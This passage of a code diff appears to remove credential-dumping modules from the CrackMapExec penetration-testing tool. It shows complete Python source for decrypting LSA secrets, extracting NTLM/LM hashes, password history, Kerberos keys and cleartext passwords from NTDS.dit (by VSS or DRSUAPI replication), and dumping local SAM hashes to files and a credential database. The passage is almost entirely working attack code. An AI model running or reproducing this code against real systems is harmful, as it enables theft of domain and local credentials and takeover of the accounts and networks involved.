value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
if value is not None:
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
else:
secret = self.__decryptSecret(self.__LSAKey, value[1])
self.__printSecret(key, secret)
return self.__secretItems
def exportSecrets(self, fileName):
if len(self.__secretItems) > 0:
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
for item in self.__secretItems:
fd.write(item+'\n')
fd.close()
def exportCached(self, fileName):
if len(self.__cachedItems) > 0:
fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
for item in self.__cachedItems:
fd.write(item+'\n')
fd.close()

View File

@ -1,696 +0,0 @@
from impacket.structure import Structure
from impacket.dcerpc.v5 import drsuapi
from impacket.nt_errors import STATUS_MORE_ENTRIES
from collections import OrderedDict
from impacket import ntlm
from binascii import hexlify, unhexlify
from struct import unpack
from datetime import datetime
from cme.credentials.cryptocommon import CryptoCommon
from Crypto.Cipher import DES, ARC4
from cme.credentials.commonstructs import SAMR_RPC_SID
from impacket.ese import ESENT_DB
import logging
import hashlib
import random
import string
import os
import traceback
import codecs
class NTDSHashes:
NAME_TO_INTERNAL = {
'uSNCreated':'ATTq131091',
'uSNChanged':'ATTq131192',
'name':'ATTm3',
'objectGUID':'ATTk589826',
'objectSid':'ATTr589970',
'userAccountControl':'ATTj589832',
'primaryGroupID':'ATTj589922',
'accountExpires':'ATTq589983',
'logonCount':'ATTj589993',
'sAMAccountName':'ATTm590045',
'sAMAccountType':'ATTj590126',
'lastLogonTimestamp':'ATTq589876',
'userPrincipalName':'ATTm590480',
'unicodePwd':'ATTk589914',
'dBCSPwd':'ATTk589879',
'ntPwdHistory':'ATTk589918',
'lmPwdHistory':'ATTk589984',
'pekList':'ATTk590689',
'supplementalCredentials':'ATTk589949',
'pwdLastSet':'ATTq589920',
}
NAME_TO_ATTRTYP = {
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'ntPwdHistory': 0x9005E,
'lmPwdHistory': 0x900A0,
'supplementalCredentials': 0x9007D,
'objectSid': 0x90092,
}
ATTRTYP_TO_ATTID = {
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'ntPwdHistory': '1.2.840.113556.1.4.94',
'lmPwdHistory': '1.2.840.113556.1.4.160',
'supplementalCredentials': '1.2.840.113556.1.4.125',
'objectSid': '1.2.840.113556.1.4.146',
'pwdLastSet': '1.2.840.113556.1.4.96',
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
class PEKLIST_ENC(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedPek',':'),
)
class PEKLIST_PLAIN(Structure):
structure = (
('Header','32s=""'),
('DecryptedPek',':'),
)
class PEK_KEY(Structure):
structure = (
('Header','1s=""'),
('Padding','3s=""'),
('Key','16s=""'),
)
class CRYPTED_HASH(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash','16s=""'),
)
class CRYPTED_HISTORY(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
class CRYPTED_BLOB(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None,
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
self.__bootKey = bootKey
self.__logger = logger
self.__NTDS = ntdsFile
self.__history = history
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.__remoteOps = remoteOps
self.__pwdLastSet = pwdLastSet
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = list()
self.__cryptoCommon = CryptoCommon()
self.__kerberosKeys = OrderedDict()
self.__clearTextPwds = OrderedDict()
self.__justNTLM = justNTLM
self.__savedSessionFile = resumeSession
self.__resumeSessionFile = None
self.__outputFileName = outputFileName
def getResumeSessionFile(self):
return self.__resumeSessionFile
def __getPek(self):
logging.info('Searching for pekList, be patient')
peklist = None
while True:
record = self.__ESEDB.getNextRow(self.__cursor)
if record is None:
break
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
break
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
# Okey.. we found some users, but we're not yet ready to process them.
# Let's just store them in a temp list
self.__tmpUsers.append(record)
if peklist is not None:
encryptedPekList = self.PEKLIST_ENC(peklist)
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPekList['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
PEKLen = len(self.PEK_KEY())
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
cursor = i * PEKLen
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
self.__PEK.append(pek['Key'])
def __removeRC4Layer(self, cryptedHash):
md5 = hashlib.new('md5')
# PEK index can be found on header of each ciphered blob (pos 8-10)
pekIndex = hexlify(cryptedHash['Header'])
md5.update(self.__PEK[int(pekIndex[8:10])])
md5.update(cryptedHash['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
return plainText
def __removeDESLayer(self, cryptedHash, rid):
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
return decryptedHash
def __fileTimeToDateTime(self, t):
t -= 116444736000000000
t /= 10000000
if t < 0:
return 'never'
else:
dt = datetime.fromtimestamp(t)
return dt.strftime("%Y-%m-%d %H:%M")
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
haveInfo = False
if self.__useVSSMethod is True:
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
domain = None
userName = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug('Failed to execute OidFromAttid with error %s' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
if len(plainText) > 24:
haveInfo = True
if domain is not None:
userName = '%s\\%s' % (domain, userName)
if haveInfo is True:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
else:
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self.__kerberosKeys[answer] = None
if keysFile is not None:
self.__writeOutput(keysFile, answer + '\n')
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
self.__clearTextPwds[answer] = None
if clearTextFile is not None:
self.__writeOutput(clearTextFile, answer + '\n')
if clearTextFile is not None:
clearTextFile.flush()
if keysFile is not None:
keysFile.flush()
def __decryptHash(self, record, rid=None, prefixTable=None, outputFile=None):
if self.__useVSSMethod is True:
logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
rid = sid.formatCanonical().split('-')[-1]
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
LMHash = self.__removeDESLayer(tmpLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
NTHash = self.__removeDESLayer(tmpNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
else:
pwdLastSet = 'N/A'
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
self.__logger.highlight(answer)
if self.__history:
LMHistory = []
NTHistory = []
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHash)
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHash)
for i, (LMHash, NTHash) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHash)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
self.__logger.highlight(answer)
else:
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
domain = None
if self.__history:
LMHistory = []
NTHistory = []
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['dBCSPwd']:
if attr['AttrVal']['valCount'] > 0:
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
elif attId == LOOKUP_TABLE['unicodePwd']:
if attr['AttrVal']['valCount'] > 0:
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
elif attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
elif attId == LOOKUP_TABLE['objectSid']:
if attr['AttrVal']['valCount'] > 0:
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
else:
logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
objectSid = rid
elif attId == LOOKUP_TABLE['pwdLastSet']:
if attr['AttrVal']['valCount'] > 0:
try:
pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
except:
traceback.print_exc()
logging.error('Cannot get pwdLastSet for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
pwdLastSet = 'N/A'
if self.__history:
if attId == LOOKUP_TABLE['lmPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHashHistory)
else:
logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
elif attId == LOOKUP_TABLE['ntPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHashHistory)
else:
logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
if domain is not None:
userName = '%s\\%s' % (domain, userName)
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
self.__logger.highlight(answer)
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
self.__logger.highlight(answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if outputFile is not None:
outputFile.flush()
def dump(self):
if self.__useVSSMethod is True:
if self.__NTDS is None:
# No NTDS.dit file provided and were asked to use VSS
return
else:
if self.__NTDS is None:
# DRSUAPI method, checking whether target is a DC
try:
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
except Exception as e:
traceback.print_exc()
# Target's not a DC
return
# Let's check if we need to save results in a file
if self.__outputFileName is not None:
logging.debug('Saving output to %s' % self.__outputFileName)
# We have to export. Are we resuming a session?
if self.__savedSessionFile is not None:
mode = 'a+'
else:
mode = 'w+'
hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
if self.__justNTLM is False:
keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
else:
hashesOutputFile = None
keysOutputFile = None
clearTextOutputFile = None
self.__logger.success('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
if self.__useVSSMethod:
# We start getting rows from the table aiming at reaching
# the pekList. If we find users records we stored them
# in a temp list for later process.
self.__getPek()
if self.__PEK is not None:
logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
# First of all, if we have users already cached, let's decrypt their hashes
for record in self.__tmpUsers:
try:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception as e:
traceback.print_exc()
try:
logging.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
logging.error(str(e))
pass
except:
logging.error("Error while processing row!")
logging.error(str(e))
pass
# Now let's keep moving through the NTDS file and decrypting what we find
while True:
try:
record = self.__ESEDB.getNextRow(self.__cursor)
except:
traceback.print_exc()
logging.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
try:
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception, e:
traceback.print_exc()
try:
logging.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
logging.error(str(e))
pass
except:
logging.error("Error while processing row!")
logging.error(str(e))
pass
else:
self.__logger.success('Using the DRSUAPI method to get NTDS.DIT secrets')
status = STATUS_MORE_ENTRIES
enumerationContext = 0
# Do we have to resume from a previously saved session?
if self.__savedSessionFile is not None:
# Yes
try:
resumeFile = open(self.__savedSessionFile, 'rwb+')
except Exception, e:
traceback.print_exc()
raise Exception('Cannot open resume session file name %s' % str(e))
resumeSid = resumeFile.read().strip('\n')
logging.info('Resuming from SID %s, be patient' % resumeSid)
# The resume session file is the same as the savedSessionFile
tmpName = self.__savedSessionFile
else:
resumeSid = None
tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)])
logging.debug('Session resume file will be %s' % tmpName)
# Creating the resume session file
try:
resumeFile = open(tmpName, 'wb+')
self.__resumeSessionFile = tmpName
except Exception, e:
traceback.print_exc()
raise Exception('Cannot create resume session file %s' % str(e))
while status == STATUS_MORE_ENTRIES:
resp = self.__remoteOps.getDomainUsers(enumerationContext)
for user in resp['Buffer']['Buffer']:
userName = user['Name']
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
if resumeSid is not None:
# Means we're looking for a SID before start processing back again
if resumeSid == userSid.formatCanonical():
# Match!, next round we will back processing
resumeSid = None
continue
# Let's crack the user sid into DS_FQDN_1779_NAME
# In theory I shouldn't need to crack the sid. Instead
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical())
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
#userRecord.dump()
if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
try:
self.__decryptHash(userRecord, user['RelativeId'],
userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'],
hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc'][
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
except Exception, e:
traceback.print_exc()
logging.error("Error while processing user!")
logging.error(str(e))
# Saving the session state
resumeFile.seek(0,0)
resumeFile.truncate(0)
resumeFile.write(userSid.formatCanonical())
resumeFile.flush()
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
# Everything went well and we covered all the users
# Let's remove the resume file
resumeFile.close()
os.remove(tmpName)
self.__resumeSessionFile = None
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
if len(self.__kerberosKeys) > 0:
if self.__useVSSMethod is True:
logging.info('Kerberos keys from %s ' % self.__NTDS)
else:
logging.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys():
self.__logger.highlight(itemKey)
# And finally the cleartext pwds
if len(self.__clearTextPwds) > 0:
if self.__useVSSMethod is True:
logging.info('ClearText password from %s ' % self.__NTDS)
else:
logging.info('ClearText passwords grabbed')
for itemKey in self.__clearTextPwds.keys():
self.__logger.highlight(itemKey)
# Closing output file
if self.__outputFileName is not None:
hashesOutputFile.close()
if self.__justNTLM is False:
keysOutputFile.close()
clearTextOutputFile.close()
@classmethod
def __writeOutput(cls, fd, data):
try:
fd.write(data)
except Exception, e:
logging.error("Error writing entry, skippingi (%s)" % str(e))
pass
def finish(self):
if self.__NTDS is not None:
self.__ESEDB.close()

View File

@ -1,48 +0,0 @@
from impacket import winregistry
class OfflineRegistry:
def __init__(self, hiveFile = None, isRemote = False):
self.__hiveFile = hiveFile
if self.__hiveFile is not None:
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
def enumKey(self, searchKey):
parentKey = self.__registryHive.findKey(searchKey)
if parentKey is None:
return
keys = self.__registryHive.enumKey(parentKey)
return keys
def enumValues(self, searchKey):
key = self.__registryHive.findKey(searchKey)
if key is None:
return
values = self.__registryHive.enumValues(key)
return values
def getValue(self, keyValue):
value = self.__registryHive.getValue(keyValue)
if value is None:
return
return value
def getClass(self, className):
value = self.__registryHive.getClass(className)
if value is None:
return
return value
def finish(self):
if self.__hiveFile is not None:
# Remove temp file and whatever else is needed
self.__registryHive.close()

View File

@ -1,129 +0,0 @@
from cme.credentials.offlineregistry import OfflineRegistry
from cme.credentials.commonstructs import DOMAIN_ACCOUNT_F, USER_ACCOUNT_V
from cme.credentials.cryptocommon import CryptoCommon
from impacket import ntlm
from binascii import hexlify
from Crypto.Cipher import DES, ARC4
from struct import pack
import hashlib
import ntpath
import codecs
import logging
class SAMHashes(OfflineRegistry):
def __init__(self, samFile, bootKey, logger, db, host, hostname, isRemote = False):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__logger = logger
self.__db = db
self.__host = host
self.__hostname = hostname
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def getHBootKey(self):
logging.debug('Calculating HashedBootKey from SAM')
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
DIGITS = "0123456789012345678901234567890123456789\0"
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
domainData = DOMAIN_ACCOUNT_F(F)
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
rc4 = ARC4.new(rc4Key)
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
# Verify key with checksum
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
if checkSum != self.__hashedBootKey[16:]:
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
def __decryptHash(self, rid, cryptedHash, constant):
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
# plus hashedBootKey stuff
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
rc4 = ARC4.new(rc4Key)
key = rc4.encrypt(cryptedHash)
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
return decryptedHash
def dump(self):
NTPASSWORD = "NTPASSWORD\0"
LMPASSWORD = "LMPASSWORD\0"
sam_hashes = []
if self.__samFile is None:
# No SAM file provided
return
self.__logger.success('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
self.getHBootKey()
usersKey = 'SAM\\Domains\\Account\\Users'
# Enumerate all the RIDs
rids = self.enumKey(usersKey)
# Remove the Names item
try:
rids.remove('Names')
except:
pass
for rid in rids:
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
rid = int(rid,16)
V = userAccount['Data']
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
if userAccount['LMHashLength'] == 20:
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
else:
encLMHash = ''
if userAccount['NTHashLength'] == 20:
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
else:
encNTHash = ''
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
if lmHash == '':
lmHash = ntlm.LMOWFv1('','')
if ntHash == '':
ntHash = ntlm.NTOWFv1('','')
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
self.__itemsFound[rid] = answer
self.__logger.highlight(answer)
sam_hashes.append(answer)
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
return sam_hashes
def export(self, fileName):
if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound)
